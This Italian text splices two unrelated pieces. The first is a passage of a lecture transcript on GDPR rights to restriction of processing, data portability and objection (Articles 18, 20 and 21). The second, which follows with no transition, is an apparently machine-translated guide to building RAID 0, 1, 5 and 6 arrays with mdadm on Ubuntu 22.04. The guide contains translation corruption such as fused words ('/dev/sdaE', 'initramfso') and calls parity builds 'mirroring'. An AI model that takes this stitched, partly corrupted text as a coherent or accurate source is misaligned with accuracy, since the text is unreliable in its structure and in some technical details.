determinate dinamiche che in qualche modo riescono ad integrare il quadro che si era delimitato anni addietro, tempo addietro. Però a meno che non ci siano questi fatti nuovi o comunque questi aspetti che un tempo non erano noti allora diciamo effettivamente passato un certo periodo di tempo si può dire che la notizia non sia più di interesse per la collettività. 

Un altro diritto è quello alla limitazione del trattamento. Il diritto alla limitazione del trattamento è previsto dall’articolo 18 del GDPR. Ed è un diritto che può essere esercitato soltanto nei casi indicati dall’articolo 18 che sono quattro. Sono quindi delle ipotesi tassative. Vuol dire che non sono degli esempi di situazioni in cui può essere esercitato, ma sono proprio le uniche ipotesi in cui si può esercitare la limitazione. La prima ipotesi è quella in cui l’interessato contesta l’esattezza dei dati, quindi sostiene che i dati non siano esatti, i dati sul suo conto, e quindi per il periodo necessario a verificare l’esattezza o meno di questi dati, il titolare per rispondere al diritto di limitazione, sospende – limitazione nel senso di sospensione in questo caso – sospende il trattamento. Una seconda ipotesi, quella alla lettera b dell’articolo 18, è quella situazione in cui il trattamento risulti essere illecito, però l’interessato chiede al titolare di limitare l’utilizzo dei dati ma comunque di non interrompere definitivamente il trattamento. Quindi evidentemente sono situazioni in cui il trattamento si rivela essere illecito però l’interessato ha comunque dei motivi per preferire che il trattamento continui seppur in modo limitato e quindi chiede la limitazione ma anche la prosecuzione del trattamento stesso. Una terza ipotesi, lettera c dell’articolo 18, è quella in cui i dati non sono più necessari al titolare, però di nuovo l’interessato chiede che ci sia una limitazione del trattamento alla sola conservazione dei dati perché evidentemente questa conservazione gli serve per l’accertamento o l’esercizio dei suoi diritti in sede giudiziaria. Quindi se magari quei dati li devo utilizzare perché mi servono in sede giudiziaria allora chiedo che seppure il titolare non abbia più motivo per trattare i dati, comunque limiti il trattamento alla sola conservazione e li conservi così che io li possa utilizzare in sede giudiziaria. Poi ultima ipotesi, quella della lettera d, in cui l’interessato si oppone al trattamento che è necessario per un legittimo interesse del titolare e quindi, in questo caso (come nel primo, quello della lettera a), il titolare limiterà il trattamento nel periodo che è necessario a verificare che il suo legittimo interesse prevale sull’interesse del soggetto i cui dati personali vengono trattati. Ora da questa descrizione si capisce che le ipotesi più simili tra loro sono la prima e l’ultima e le due in mezzo. Perché la prima e l’ultima si coglie la loro natura cautelare. La logica è impedire la prosecuzione del trattamento per il periodo necessario all’accertamento di una situazione che è invece incerta: prima ipotesi quella dell’esattezza dei dati o meno, secondo ipotesi quella della necessarietà o meno del trattamento per legittimo interesse. E quindi per il periodo di tempo, per questo si parla di natura cautelare, per il periodo di tempo necessario all’accertamento di queste situazioni si limita il trattamento alla sola conservazione. Poi nel caso in cui si rileva che i dati sono esatti o il legittimo interesse del titolare prevale su quello dell’interessato, allora il titolare ne darà comunicazione all’interessato e riprenderà il trattamento così come lo svolgeva prima. Invece, nel caso in cui la verifica rispetto all’esattezza, rispetto alla prevalenza dell’interesse, dia ragione all’interessato allora poi l’interessato potrà chiedere la cancellazione dei dati o potrà insomma decidere come procedere. Nei casi invece delle lettere b e c, e quindi quelle riguardanti le richieste dirette di limitazione da parte del dell’interessato (nel primo caso abbiamo detto anche se il trattamento è lecito e nel secondo caso abbiamo detto quando i dati serve che siano conservati perché il soggetto interessato li utilizzi in sede giudiziaria), allora in questi casi finché perdura la limitazione, i dati saranno comunque trattati dal titolare, quando poi finisce questo periodo, allora si procederà alla cancellazione di questi dati. Nel primo caso, perché il trattamento è illecito, quindi comunque l’illiceità del trattamento comporta la cancellazione, nel secondo caso perché il trattamento non è più necessario e quindi si procede alla cancellazione. Ciò che rileva però è che comunque ci si debba trovare in una di queste quattro ipotesi, non è possibile chiedere la limitazione del trattamento per ipotesi diverse da queste quattro. Quindi l’interessato potrà richiederlo in queste quattro ipotesi che però non deve descrivere. Quindi la richiesta deve partire dall’interessato che però non deve dire “mi sto ritrovando nell’ipotesi della lettera a, b, c o d”, deve semplicemente avanzare la richiesta. Poi, se il titolare non vuole soddisfare queste richieste, sarà lui a dover dimostrare che non si è all’interno del perimetro delineato dall’articolo 18 e quindi risponderà che non intende procedere alla limitazione del trattamento, dando dimostrazione dell’infondatezza della richiesta perché non aderente all’elenco dell’articolo 18. Quando invece deve soddisfare la richiesta come lo fa? Da un punto di vista tecnico quello che deve fare, quello che deve svolgere, è un’attività di contrassegno dei dati, deve in qualche modo imprimere sui dati interessati dalla richiesta un vincolo di inutilizzabilità, cioè questi dati devono dal punto di vista tecnico non essere più utilizzati, né essere considerati utilizzabili e si dovrà limitare alla loro conservazione. Diciamo che questa marcatura, questo contrassegno dei dati interessati dalla richiesta può avvenire poi in qualsiasi modo, sta al titolare individuare il modo in cui limiterà il trattamento. Quindi ad esempio, li può trasferire in un sistema di trattamento diverso da quello dove sono, oppure li può rendere inaccessibili, oppure li può rimuovere. Insomma, il modo in cui lo fa è nella sua discrezionalità, purché appunto soddisfi la richiesta, ovviamente sempre con il solito principio di proporzionalità, nei limiti di quanto gli è possibile in base ai costi che questa operazione comporta, in base alle sue tecnologie a disposizione.

Altro articolo che come l’oblio è stato introdotto nel GDPR per la prima volta è il diritto alla portabilità dei dati. Il diritto alla portabilità è un diritto che forse più di tutti esprime quella doppia anima del GDPR e cioè di tutela contestuale della persona nella rappresentazione della identità personale attraverso i dati e contestualmente tutela del mercato attraverso la circolazione dei dati. Perché il diritto alla portabilità è proprio funzionale non solo appunto a tutela della persona ma anche proprio al funzionamento del mercato digitale. Proprio perché la trasmissione dei dati in cui la portabilità tipicamente si realizza, permette una circolazione dei dati che possono essere utilizzati anche a livello di mercato, anche a livello di attività svolta dai professionisti del mercato in qualunque tipo di settore, e quindi poi è in questo modo la loro circolazione in qualche modo permette di generare ricchezza appunto anche per gli operatori economici e quindi aumentare e favorire la concorrenza nelle dinamiche di mercato. Innanzitutto il primo strumento, la prima estrinsecazione della portabilità è proprio quella della trasmissione, quindi si richiede la trasmissione di dati che sono in capo a un certo titolare, ad un altro titolare. E questo deve avvenire, prevede l’articolo 20 del GDPR, in un modo che sia accessibile, che sia chiaro, che sia strutturato, si dice interoperabile, nel senso che il titolare che trasmette i dati di cui dispone all’altro titolare deve farlo in modo tale che questo titolare possa utilizzare questi dati. Però poi la portabilità in generale è qualcosa che permette effettivamente anche il loro accesso e il loro riutilizzo. Cioè quando trasmetto devo poi permettere al secondo titolare di utilizzarli perché se li trasmetto in un formato per cui poi il titolare che li riceve non li può utilizzare allora non se ne fa niente. Quindi il diritto alla portabilità include in sé non solo la trasmissione ma anche la possibilità di accedervi, di riutilizzarli, di riceverli, di mantenerli, di conservarli. Deve essere reso possibile tutto questo e la ratio appunto è quella di rendere il più semplice possibile la circolazione di questi dati facendo, sempre attenzione alla tutela della persona, perché la loro circolazione permette di favorire la concorrenza sul mercato. L’articolo 20, però, delimita quali sono i dati che possono essere oggetto di portabilità. Innanzitutto non tutti i dati possono essere oggetto di portabilità. In particolare, l’articolo 20 prevede che siano portabili i dati trattati con mezzi automatizzati e la cui condizione di liceità si fondi su un consenso, oppure sulla conclusione di un contratto. Quindi le uniche ipotesi sono queste: la condizione di liceità, quella del consenso e quella del contratto (le lettere a e b dell’articolo 6). Non tutti i dati, quindi, possono essere oggetto della portabilità, innanzitutto per i parametri sopra accennati e poi perché non possono essere oggetto di portabilità i dati che sono stati oggetto di esercizio dell’oblio, proprio perché una volta che sono stati cancellati non sono più nella disponibilità del titolare, né tantomeno possono essere portati, trasmessi, i dati anonimi proprio perché rispetto ai dati anonimi manca quel collegamento tra informazione e persona e quindi non posso pretendere che vengono trasferiti dei dati anonimi. Per il resto, di regola, le rappresentazioni digitali dell’interessato con tutte le informazioni personali che lo riguardano tendenzialmente possono essere trasmesse, addirittura posso trasmettere quei dati che ho generato mediante le mie attività. Quindi se utilizzando un certo sito, ho generato una serie di dati riferiti alle mie ricerche, alla mia navigazione, o i cookie che ho generato, oppure la mia cronologia delle ricerche, oppure ho utilizzato dei dati riferiti alla mia localizzazione, tutti questi dati che ho generato attraverso la mia diretta attività li posso trasferire perché sono stati generati dalla mia attività concreta e diretta. Però, se questi dati sono stati poi utilizzati dal titolare del trattamento in modo da analizzarli e da queste analisi, principalmente l’analisi basata sul calcolo delle probabilità, sono stati generati dei nuovi dati, questi nuovi dati non possono essere oggetto della trasmissione, oggetto della portabilità, proprio perché sono dati analizzati dal titolare, quindi su cui il titolare ha svolto un’attività di analisi, sono i cosiddetti dati inferenziali e i dati derivati, di questi dati non può essere chiesta la trasmissione perché non sono soltanto generati dall’interessato, ma sono rielaborati dal primo titolare in un modo tale che impedisce la trasmissione. Proprio perché sono oggetto di tutta un’attività di lavoro che è stata svolta dal titolare e che in qualche modo, sempre nelle logiche di favore per il mercato, della concorrenza, rappresentano una conoscenza, un vantaggio conoscitivo, un know how che per quel titolare diventa un vantaggio economico sugli altri concorrenti e quindi per il funzionamento del mercato è considerato in qualche modo lesivo poi della sua attività la richiesta della loro trasmissione. Quindi ci fermiamo appunto soltanto ai dati che sono stati generati direttamente dall’interessato.

Altro diritto è previsto all’articolo 21 ed è il diritto di opposizione al trattamento. Il diritto di opposizione si realizza attraverso una dichiarazione di volontà con cui l’interessato esprime appunto la volontà di interrompere il trattamento in via definitiva. Ovviamente al titolare resta la possibilità di dimostrare la mancanza di motivi che giustificano questa interruzione e quindi se riesce a dimostrarlo può procedere nel trattamento. L’articolo 21 prevede in particolare che il titolare si debba astenere dal trattamento dei dati, quindi che debba interrompere il trattamento. A questo punto, è il momento in cui deve astenersi dal trattamento, implicitamente la norma richiede anche che li cancelli, perché, come già detto più volte, la semplice conservazione del dato è di per sé un trattamento (tant’è che abbiamo detto che quando limitiamo il trattamento svolgiamo solo l’attività di conservazione), quindi se si deve astenere dal trattamento, anche la conservazione è un trattamento e quindi è ritenuta in contrapposizione con l’esercizio della opposizione. Quindi l’opposizione dovrebbe includere automaticamente la cancellazione, a meno che il titolare non riesca a dimostrare che non sussistono i motivi per cui il  soggetto interessato può avanzare questo tipo di richiesta. L’opposizione, infatti, si può richiedere solo in due casi e cioè nei casi in cui il trattamento abbia come condizione di liceità le previsioni delle lettere e ed f dell’articolo 6. Le previsioni dell’articolo 6 sono quando il trattamento è necessario per l’esecuzione di un compito di pubblico interesse di cui viene rivestito il titolare e poi la lettera f invece quando il trattamento è necessario per il perseguimento di un legittimo interesse del titolare. Solo quando la condizione di liceità è una di queste due si può esercitare l’opposizione. Ovviamente quando si è in questa ipotesi, poi l’opposizione può essere esercitata in qualsiasi momento e poi starà al titolare dimostrare che la richiesta non può essere soddisfatta perché effettivamente il pubblico interesse nella lettera e e il legittimo interesse del titolare della lettera f, prevalgono sull’interesse dell’interessato e quindi il trattamento può effettivamente continuare, in quanto non ci sono dei motivi validi per ritenere prevalente l’esercizio di questo potere inibitorio, di questo potere di interrompere il trattamento. Quindi per l’interessato, nel caso in cui ci si trovi di fronte alle situazioni previste dalla lettera e ed f, è semplice fare questa richiesta, perché deve semplicemente dire perché vuole avvalersi di questo diritto però poi non deve dimostrare nulla, starà al titolare dover dimostrare che l’interesse dell’interessato è meno rilevante nel bilanciamento che bisogna sempre fare rispetto agli interessi indicati alle lettere e ed f dell’articolo 6, che appunto sono condizioni di liceità del trattamento.

Creare array RAID

Come creare array RAID con mdadm su Ubuntu 22.04

L’utility mdadmpuò essere utilizzata per creare e gestire array di archiviazione utilizzando le funzionalità RAID del software Linux. Gli amministratori hanno una grande flessibilità nel coordinare i propri dispositivi di storage individuali e nel creare dispositivi di storage logici con maggiori prestazioni o caratteristiche di ridondanza.

In questa guida eseguirai diverse configurazioni RAID che possono essere configurate utilizzando un server Ubuntu 22.04.

Per seguire i passaggi di questa guida, avrai bisogno di:

  • Un utente non root con privilegi sudo su un server Ubuntu 22.04.
  • Una conoscenza di base della terminologia e dei concetti RAID. Per saperne di più sul RAID e sul livello RAID adatto a te, leggi l’articolo introduzione alla terminologia e ai concetti.
  • Più dispositivi di archiviazione raw disponibili sul tuo server. Gli esempi in questo tutorial dimostrano come configurare vari tipi di array sul server. Pertanto, avrai bisogno di alcune unità da configurare.
  • A seconda del tipo di array, saranno necessari da due a quattro dispositivi di archiviazione . Non è necessario formattare queste unità prima di seguire questa guida.

Puoi saltare questa sezione per ora se non hai ancora configurato alcun array. Questa guida introdurrà una serie di diversi livelli RAID. Se desideri seguire e completare ogni livello RAID per i tuoi dispositivi, probabilmente vorrai riutilizzare i dispositivi di archiviazione dopo ogni sezione. È possibile fare riferimento a questa sezione specifica Reimpostazione dei dispositivi RAID esistenti per reimpostare i dispositivi di archiviazione prima di testare un nuovo livello RAID.

Inizia trovando gli array attivi nel file /proc/mdstatfile:

cat /proc/mdstat

Output
Personalities : [raid0] [linear] [multipath] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid0 sdc[1] sdd[0]
      209584128 blocks super 1.2 512k chunks
            
            unused devices: <none>

Quindi smonta l’array dal filesystem:

sudo umount /dev/md0

Ora termina e rimuovi l’array:

sudo mdadm --stop /dev/md0

Trova i dispositivi utilizzati per costruire l’array con il seguente comando:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE            TYPE MOUNTPOINT
sda      100G linux_raid_member disk 
sdb      100G linux_raid_member disk 
sdc      100G                   disk 
sdd      100G                   disk 
vda       25G                   disk 
├─vda1  24.9G ext4              part /
├─vda14    4M                   part 
└─vda15  106M vfat              part /boot/efi
vdb      466K iso9660           disk

Dopo aver scoperto i dispositivi utilizzati per creare un array, azzera il loro superblocco per ripristinarli alla normalità

sudo mdadm --zero-superblock /dev/sdc
sudo mdadm --zero-superblock /dev/sdd

Dovresti rimuovere tutti i riferimenti persistenti all’array. Modifica il file /etc/fstabe commenta o rimuovi il riferimento al tuo array:

sudo nano /etc/fstab

. . .
# /dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0

Inoltre, commenta o rimuovi la definizione dell’array dal file /etc/mdadm/mdadm.conf:

sudo nano /etc/mdadm/mdadm.conf

. . .
# ARRAY /dev/md0 metadata=1.2 name=mdadmwrite:0 UUID=7261fb9c:976d0d97:30bc63ce:85e76e91

Infine aggiorna ancora il initramfs:

sudo update-initramfs -u

A questo punto dovresti essere pronto per riutilizzare i dispositivi di archiviazione singolarmente o come componenti di un array diverso.

L’array RAID 0 funziona suddividendo i dati in blocchi e distribuendoli sui dischi disponibili. Ciò significa che ogni disco contiene una parte dei dati e che durante il recupero delle informazioni verrà fatto riferimento a più dischi.

  • Requisiti: minimo 2 dispositivi di archiviazione
  • Vantaggio principale: prestazioni
  • Cose da tenere a mente: assicurati di disporre di backup funzionali. Un singolo guasto del dispositivo distruggerà tutti i dati nell’array.

Identificare i dispositivi

Per iniziare, trova gli identificatori per i dischi raw che utilizzerai:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE   TYPE MOUNTPOINT
sda      100G          disk
sdb      100G          disk
vda       25G          disk 
├─vda1  24.9G ext4     part /
├─vda14    4M          part 
└─vda15  106M vfat     part /boot/efi
vdb      466K iso9660  disk 

In questo esempio, hai due dischi senza filesystem, ciascuno di 100 GB. A questi dispositivi sono stati assegnati gli identificatori /dev/sdaE /dev/sdb per questa sessione e saranno i componenti raw utilizzati per costruire l’array.

Creazione dell’array

Per creare un array RAID 0 con questi componenti, passali al comando mdadm --create. Dovrai specificare il nome del dispositivo che desideri creare, il livello RAID e il numero di dispositivi. In questo esempio di comando, nominerai il dispositivo /dev/md0 e includerai i due dischi che costruiranno l’array:

sudo mdadm --create --verbose /dev/md0 --level=0 --raid-devices=2 /dev/sda /dev/sdb

Conferma che il RAID è stato creato correttamente controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid0 sdb[1] sda[0]
      209584128 blocks super 1.2 512k chunks
            
            unused devices: <none>

Questo output rivela che il dispositivo /dev/md0 è stato creato nella configurazione RAID 0 utilizzando i dispositivi /dev/sda e /dev/sdb.

Creazione e montaggio del filesystem

Successivamente, crea un filesystem sull’array:

sudo mkfs.ext4 -F /dev/md0

Quindi, crea un punto di montaggio per collegare il nuovo filesystem:

sudo mkdir -p /mnt/md0

Puoi montare il filesystem con il seguente comando:

sudo mount /dev/md0 /mnt/md0

Successivamente, controlla se il nuovo spazio è disponibile:

df -h -x devtmpfs -x tmpfs

Output
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        25G  1.4G   23G   6% /
/dev/vda15      105M  3.4M  102M   4% /boot/efi
/dev/md0        196G   61M  186G   1% /mnt/md0

Il nuovo filesystem è ora montato e accessibile.

Salvataggio del layout dell’array

Per assicurarti che l’array venga riassemblato automaticamente all’avvio, dovrai modificare il file /etc/mdadm/mdadm.conf. È possibile eseguire automaticamente la scansione dell’array attivo e aggiungere il file con quanto segue:

sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

Successivamente è possibile aggiornare il file initramfso file system RAM iniziale, in modo che l’array sia disponibile durante il processo di avvio:

sudo update-initramfs -u

Aggiungi le nuove opzioni di montaggio del filesystem al file /etc/fstabper il montaggio automatico all’avvio:

echo '/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0' | sudo tee -a /etc/fstab

Il tuo array RAID 0 ora assemblerà e monterà automaticamente ogni avvio.

Ora hai finito con la configurazione del RAID. Se desideri provare un RAID diverso, segui le istruzioni di ripristino all’inizio di questo tutorial per procedere con la creazione di un nuovo tipo di array RAID.

Il tipo di array RAID 1 viene implementato eseguendo il mirroring dei dati su tutti i dischi disponibili. Ogni disco in un array RAID 1 riceve una copia completa dei dati, fornendo ridondanza in caso di guasto del dispositivo.

  • Requisiti: minimo 2 dispositivi di archiviazione .
  • Vantaggio principale: ridondanza tra due dispositivi di archiviazione.
  • Cose da tenere a mente: poiché vengono conservate due copie dei dati, solo la metà dello spazio su disco sarà utilizzabile.

Identificazione dei dispositivi

Per iniziare, trova gli identificatori per i dischi raw che utilizzerai:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE   TYPE MOUNTPOINT
sda      100G          disk 
sdb      100G          disk 
vda       25G          disk 
├─vda1  24.9G ext4     part /
├─vda14    4M          part 
└─vda15  106M vfat     part /boot/efi
vdb      466K iso9660  disk 

In questo esempio, hai due dischi senza filesystem, ciascuno di 100 GB. A questi dispositivi è stato assegnato gli identificatori /dev/sdaE /dev/sdb per questa sessione e saranno i componenti raw utilizzati per creare l’array.

Creazione dell’array

Per creare un array RAID 1 con questi componenti, passali al comando mdadm --create. Dovrai specificare il nome del dispositivo che desideri creare, il livello RAID e il numero di dispositivi. In questo esempio di comando, nominerai il dispositivo /dev/md0e includerai i dischi che costruiranno l’array:

sudo mdadm --create --verbose /dev/md0 --level=1 --raid-devices=2 /dev/sda /dev/sdb

Se i dispositivi che stai utilizzando non sono partizioni con il flagbootabilitato, probabilmente riceverai il seguente avviso. È sicuro rispondere con ye continua:

Output
mdadm: Note: this array has metadata at the start and
    may not be suitable as a boot device.  If you plan to
    store '/boot' on this device please ensure that
    your boot-loader understands md/v1.x metadata, or use
    --metadata=0.90
mdadm: size set to 104792064K
Continue creating array? y

Il tool mdadm inizierà a eseguire il mirroring delle unità. Il completamento dell’operazione può richiedere del tempo, ma durante questo periodo è possibile utilizzare l’array. È possibile monitorare l’avanzamento del mirroring controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid1 sdb[1] sda[0]
      104792064 blocks super 1.2 [2/2] [UU]
      [====>................]  resync = 20.2% (21233216/104792064) finish=6.9min speed=199507K/sec
      
unused devices: <none>

Nella prima riga evidenziata, il dispositivo /dev/md0 è stato creato nella configurazione RAID 1 utilizzando i dispositivi /dev/sdae /dev/sdb. La seconda riga evidenziata rivela lo stato di avanzamento del mirroring. Puoi continuare con il passaggio successivo mentre il processo viene completato.

Creazione e montaggio del filesystem

Successivamente, crea un filesystem sull’array:

sudo mkfs.ext4 -F /dev/md0

Quindi, crea un punto di montaggio per collegare il nuovo filesystem:

sudo mkdir -p /mnt/md0

È possibile montare il filesystem eseguendo quanto segue:

sudo mount /dev/md0 /mnt/md0

Verifica se il nuovo spazio è disponibile:

df -h -x devtmpfs -x tmpfs

Output
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        25G  1.4G   23G   6% /
/dev/vda15      105M  3.4M  102M   4% /boot/efi
/dev/md0         99G   60M   94G   1% /mnt/md0

Il nuovo filesystem è montato e accessibile.

Salvataggio del layout dell’array

Per assicurarti che l’array venga riassemblato automaticamente all’avvio, devi modificare il file /etc/mdadm/mdadm.conf. È possibile eseguire automaticamente la scansione dell’array attivo e aggiungere il file con quanto segue:

sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

Successivamente è possibile aggiornare il file initramfso file system RAM iniziale, in modo che l’array sia disponibile durante il processo di avvio:

sudo update-initramfs -u

Aggiungi le nuove opzioni di montaggio del filesystem al file /etc/fstab per il montaggio automatico all’avvio:

echo '/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0' | sudo tee -a /etc/fstab

L’array RAID 1 ora assemblerà e monterà automaticamente ogni avvio.

Ora hai finito con la configurazione del RAID. Se desideri provare un RAID diverso, segui le istruzioni di ripristino all’inizio di questo tutorial per procedere con la creazione di un nuovo tipo di array RAID.

Il tipo di array RAID 5 viene implementato eseguendo lo striping dei dati sui dispositivi disponibili. Un componente di ciascun stripe è un blocco di parità calcolato. Se un dispositivo si guasta, il blocco di parità e i blocchi rimanenti possono essere utilizzati per calcolare i dati mancanti. Il dispositivo che riceve il blocco di parità viene ruotato in modo che ciascun dispositivo disponga di una quantità bilanciata di informazioni sulla parità.

  • Requisiti: minimo 3 dispositivi di archiviazione .
  • Vantaggio principale: ridondanza con maggiore capacità utilizzabile.
  • Cose da tenere a mente: mentre le informazioni sulla parità vengono distribuite, per la parità verrà utilizzata la capacità di un disco. RAID 5 può presentare prestazioni molto scarse quando si trova in uno stato degradato.

Identificazione dei dispositivi

Per iniziare, trova gli identificatori per i dischi raw che utilizzerai:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE   TYPE MOUNTPOINT
sda      100G          disk 
sdb      100G          disk 
sdc      100G          disk 
vda       25G          disk 
├─vda1  24.9G ext4     part /
├─vda14    4M          part 
└─vda15  106M vfat     part /boot/efi
vdb      466K iso9660  disk

Hai tre dischi senza filesystem, ciascuno di 100 GB. A questi dispositivi sono stati assegnato gli identificatori /dev/sda, /dev/sdb e /dev/sdc per questa sessione e saranno i componenti raw utilizzati per creare l’array.

Creazione dell’array

Per creare un array RAID 5 con questi componenti, passali al comando mdadm --create. Dovrai specificare il nome del dispositivo che desideri creare, il livello RAID e il numero di dispositivi. In questo esempio di comando, nominerai il dispositivo /dev/md0e includerai i dischi che costruiranno l’array:

sudo mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/sda /dev/sdb /dev/sdc

Il tool mdadm inizierà a configurare l’array. Utilizza il processo di ripristino per creare l’array per motivi di prestazioni. Il completamento dell’operazione può richiedere del tempo, ma durante questo periodo è possibile utilizzare l’array. È possibile monitorare l’avanzamento del mirroring controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid5 sdc[3] sdb[1] sda[0]
      209582080 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
      [>....................]  recovery =  0.9% (957244/104791040) finish=18.0min speed=95724K/sec
      
unused devices: <none>

Nella prima riga evidenziata, il dispositivo /dev/md0è stato creato nella configurazione RAID 5 utilizzando i dispositivi/dev/sda, /dev/sdbe /dev/sdc. La seconda riga evidenziata mostra l’avanzamento della compilazione.

Avvertenza: a causa del modo in cui mdadm crea gli array RAID 5, mentre l’array è ancora in fase di creazione, il numero di unità di riserva nell’array verrà riportato in modo impreciso. Ciò significa che è necessario attendere il completamento dell’assemblaggio dell’array prima di aggiornare il file /etc/mdadm/mdadm.conf. Se aggiorni il file di configurazione mentre l’array è ancora in fase di creazione, il sistema avrà informazioni errate sullo stato dell’array e non sarà in grado di assemblarlo automaticamente all’avvio con il nome corretto.

Puoi continuare la guida mentre questo processo viene completato.

Creazione e montaggio del filesystem

Successivamente, crea un filesystem sull’array:

sudo mkfs.ext4 -F /dev/md0

Crea un punto di montaggio per collegare il nuovo filesystem:

sudo mkdir -p /mnt/md0

È possibile montare il filesystem con quanto segue:

sudo mount /dev/md0 /mnt/md0

Verifica se il nuovo spazio è disponibile:

df -h -x devtmpfs -x tmpfs

Output
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        25G  1.4G   23G   6% /
/dev/vda15      105M  3.4M  102M   4% /boot/efi
/dev/md0        197G   60M  187G   1% /mnt/md0

Il nuovo filesystem è montato e accessibile.

Salvataggio del layout dell’array

Per assicurarti che l’array venga riassemblato automaticamente all’avvio, devi modificare il file /etc/mdadm/mdadm.conf.

È possibile monitorare l’avanzamento del mirroring controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [raid1] [linear] [multipath] [raid0] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid5 sdc[3] sdb[1] sda[0]
      209584128 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]
      
unused devices: <none>

Questo output rivela che la ricostruzione è completa. Ora puoi scansionare automaticamente l’array attivo e aggiungere il file:

sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

Successivamente è possibile aggiornare il file initramfso file system RAM iniziale, in modo che l’array sia disponibile durante il processo di avvio:

sudo update-initramfs -u

Aggiungi le nuove opzioni di montaggio del filesystem al file /etc/fstabper il montaggio automatico all’avvio:

echo '/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0' | sudo tee -a /etc/fstab

L’array RAID 5 ora assemblerà e monterà automaticamente ad ogni avvio.

Ora hai finito con la configurazione del RAID. Se desideri provare un RAID diverso, segui le istruzioni di ripristino all’inizio di questo tutorial per procedere con la creazione di un nuovo tipo di array RAID.

Il tipo di array RAID 6 viene implementato eseguendo lo striping dei dati sui dispositivi disponibili. Due componenti di ciascun stripe sono blocchi di parità calcolati. Se uno o due dispositivi si guastano, i blocchi di parità e i blocchi rimanenti possono essere utilizzati per calcolare i dati mancanti. I dispositivi che ricevono i blocchi di parità vengono ruotati in modo che ciascun dispositivo disponga di una quantità bilanciata di informazioni sulla parità. È simile a un array RAID 5, ma consente il guasto di due unità.

  • Requisiti: minimo 4 dispositivi di archiviazione .
  • Vantaggio principale: doppia ridondanza con maggiore capacità utilizzabile.
  • Cose da tenere a mente: mentre le informazioni sulla parità vengono distribuite, per la parità verrà utilizzata la capacità di due dischi. RAID 6 può presentare prestazioni molto scarse quando si trova in uno stato degradato.

Identificazione dei dispositivi

Per iniziare, trova gli identificatori per i dischi raw che utilizzerai:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE   TYPE MOUNTPOINT
sda      100G          disk 
sdb      100G          disk 
sdc      100G          disk 
sdd      100G          disk 
vda       25G          disk 
├─vda1  24.9G ext4     part /
├─vda14    4M          part 
└─vda15  106M vfat     part /boot/efi
vdb      466K iso9660  disk 

In questo esempio, hai quattro dischi senza filesystem, ciascuno di 100 GB. A questi dispositivi sono stati assegnati gli identificatori /dev/sda, /dev/sdb, /dev/sdc e /dev/sdd per questa sessione e saranno i componenti raw utilizzati per costruire l’array.

Creazione dell’array

Per creare un array RAID 6 con questi componenti, passali al comando mdadm --create. Devi specificare il nome del dispositivo che desideri creare, il livello RAID e il numero di dispositivi. Nel seguente esempio di comando, nominerai il dispositivo /dev/md0e includere i dischi che costruiranno l’array:

sudo mdadm --create --verbose /dev/md0 --level=6 --raid-devices=4 /dev/sda /dev/sdb /dev/sdc /dev/sdd

Il tool mdadm inizierà a configurare l’array. Utilizza il processo di ripristino per creare l’array per motivi di prestazioni. Il completamento dell’operazione può richiedere del tempo, ma durante questo periodo è possibile utilizzare l’array. È possibile monitorare l’avanzamento del mirroring controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]
md0 : active raid6 sdd[3] sdc[2] sdb[1] sda[0]
      209584128 blocks super 1.2 level 6, 512k chunk, algorithm 2 [4/4] [UUUU]
      [>....................]  resync =  0.6% (668572/104792064) finish=10.3min speed=167143K/sec
      
unused devices: <none>

Nella prima riga evidenziata, il dispositivo /dev/md0è stato creato nella configurazione RAID 6 utilizzando i dispositivi /dev/sda, /dev/sdb, /dev/sdce /dev/sdd. La seconda riga evidenziata mostra l’avanzamento della creazione. Puoi continuare la guida mentre questo processo viene completato.

Creazione e montaggio del filesystem

Successivamente, crea un filesystem sull’array:

sudo mkfs.ext4 -F /dev/md0

Crea un punto di montaggio per collegare il nuovo filesystem:

sudo mkdir -p /mnt/md0

È possibile montare il filesystem con quanto segue:

sudo mount /dev/md0 /mnt/md0

Verifica se il nuovo spazio è disponibile:

df -h -x devtmpfs -x tmpfs

Output
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        25G  1.4G   23G   6% /
/dev/vda15      105M  3.4M  102M   4% /boot/efi
/dev/md0        197G   60M  187G   1% /mnt/md0

Il nuovo filesystem è montato e accessibile.

Salvataggio del layout dell’array

Per assicurarti che l’array venga riassemblato automaticamente all’avvio, dovrai modificare il file /etc/mdadm/mdadm.conf. Puoi scansionare automaticamente l’array attivo e aggiungere il file digitando:

sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

